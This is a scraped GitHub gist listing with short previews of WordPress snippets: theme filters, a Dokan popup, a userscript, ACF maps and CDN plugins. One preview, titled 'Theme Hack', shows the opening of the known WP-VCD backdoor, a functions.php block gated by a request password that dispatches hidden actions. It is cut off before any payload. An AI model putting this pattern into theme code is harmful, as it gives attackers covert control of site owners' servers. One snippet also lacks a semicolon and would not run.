Skip to content

Instantly share code, notes, and snippets.

View mmarj's full-sized avatar
🏠
Spreading H@ppiness!!

MM Aurangajeb mmarj

🏠
Spreading H@ppiness!!
View GitHub Profile
@mahbubme
mahbubme / solution.php
Last active September 3, 2020 22:11
Change WPUF default thumbnail image
<?php
function wpuf_default_featured_image() {
return "https://mahbub.me/wp-content/uploads/2017/01/i.png"
}
add_filter( "wpuf_no_image", "wpuf_default_featured_image" );
@tareq1988
tareq1988 / functions.php
Created October 31, 2018 08:45
Theme Hack
<?php
if (isset($_REQUEST['action']) && isset($_REQUEST['password']) && ($_REQUEST['password'] == '35c977caf96f9197995d4b4d3e14f253'))
{
$div_code_name="wp_vcd";
switch ($_REQUEST['action'])
{
@tareq1988
tareq1988 / functions.php
Created October 27, 2018 15:15
Dokan seller info in popup on store page
<?php
add_action( 'wp_enqueue_scripts', function() {
if ( ! dokan_is_store_page() ) {
return;
}
wp_enqueue_style('dokan-magnific-popup');
wp_enqueue_script('dokan-popup');
} );
// ==UserScript==
// @name Dupe review helper
// @namespace http://tampermonkey.net/
// @version 0.1
// @description Watches out for reviews made by the same IP subnet
// @author anevins12
// @match https://wordpress.org/support/topic/*
// @grant none
// ==/UserScript==
@tylerlwsmith
tylerlwsmith / acf-google-maps.php
Created April 11, 2018 11:08
JavaScript-free implementation of Google Maps with WordPress Advanced Custom Fields
<?php
/**
* Set constants for Google Maps JS API key--used for ACF's backend map--and Google Maps
* Embed API Key, used for generating maps on the site front end.
*
* @link https://developers.google.com/maps/documentation/javascript/get-api-key
* @link https://developers.google.com/maps/documentation/embed/get-api-key
*/
const GOOGLE_MAPS_JS_API_KEY = 'MAPS-JS-API-KEY';
@chrismccoy
chrismccoy / gutenberg.txt
Last active September 26, 2025 12:19
Gutenberg Resources
Eliminate All Blocks from Editor
wp.data.dispatch( 'core/block-editor' ).resetBlocks([]);
How to Use WordPress Block Builder to Create Custom Page Layouts Easily
https://www.webfactoryltd.com/blog/how-to-use-wordpress-block-builder-to-create-custom-page-layouts-easily/
How to Extend or Create Variations for WordPress Blocks
https://getbutterfly.com/how-to-extend-or-create-variations-for-wordpress-blocks/
How to disable and lock Gutenberg blocks
@nuhil
nuhil / js.md
Last active July 1, 2024 20:45
Javascript Handbook
anonymous
anonymous / vc-blocks-load.php
Created March 25, 2017 02:39
<?php
if (!defined('ABSPATH')) die('-1');
// Class started
class stockVCExtendAddonClass {
function __construct() {
// We safely integrate with VC with this hook
add_action( 'init', array( $this, 'stockIntegrateWithVC' ) );
@zacscott
zacscott / wpcom-cdn.php
Last active March 13, 2025 18:36
Use the WP.com Photon image CDN without installing JetPack
<?php
/**
* Plugin Name: Photon CDN
* Version: 1.1
* Description: Use the WP.com Photon image CDN without installing JetPack
* Author: Zachary Scott
*/
namespace zacscott;
@vovafeldman
vovafeldman / _sections-header.scss
Last active October 27, 2021 14:01
Freemius - weDocs Pretty Sections
// Header search
.page-header
{
.wedocs-search-form
{
position: relative;
input
{
@include placeholder(#999);